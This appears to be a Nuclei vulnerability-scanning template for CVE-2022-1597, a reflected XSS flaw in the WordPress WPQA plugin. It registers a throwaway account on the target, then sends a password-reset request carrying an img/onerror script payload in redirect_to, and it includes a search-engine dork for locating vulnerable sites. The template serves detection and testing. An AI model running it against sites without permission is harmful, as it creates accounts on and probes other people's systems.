id: CVE-2022-1597

info:
  name: WordPress WPQA <5.4 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.
  reference:
    - https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1597
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1597
    cwe-id: CWE-79
  metadata:
    google-query: inurl:/wp-content/plugins/wpqa
    verified: "true"
  tags: wpscan,xss,wordpress,wp-plugin,wp,cve,cve2022,wpqa

variables:
  user: "{{to_lower(rand_base(5))}}"
  pass: "{{user}}{{to_lower(rand_base(3))}}"
  redirect_to: '"><img src=x onerror=alert(document.domain)>'

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
        Content-Type: application/x-www-form-urlencoded

        user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
        Content-Type: application/x-www-form-urlencoded

        user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{redirect_to}}'
          - '"success":1'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/09/14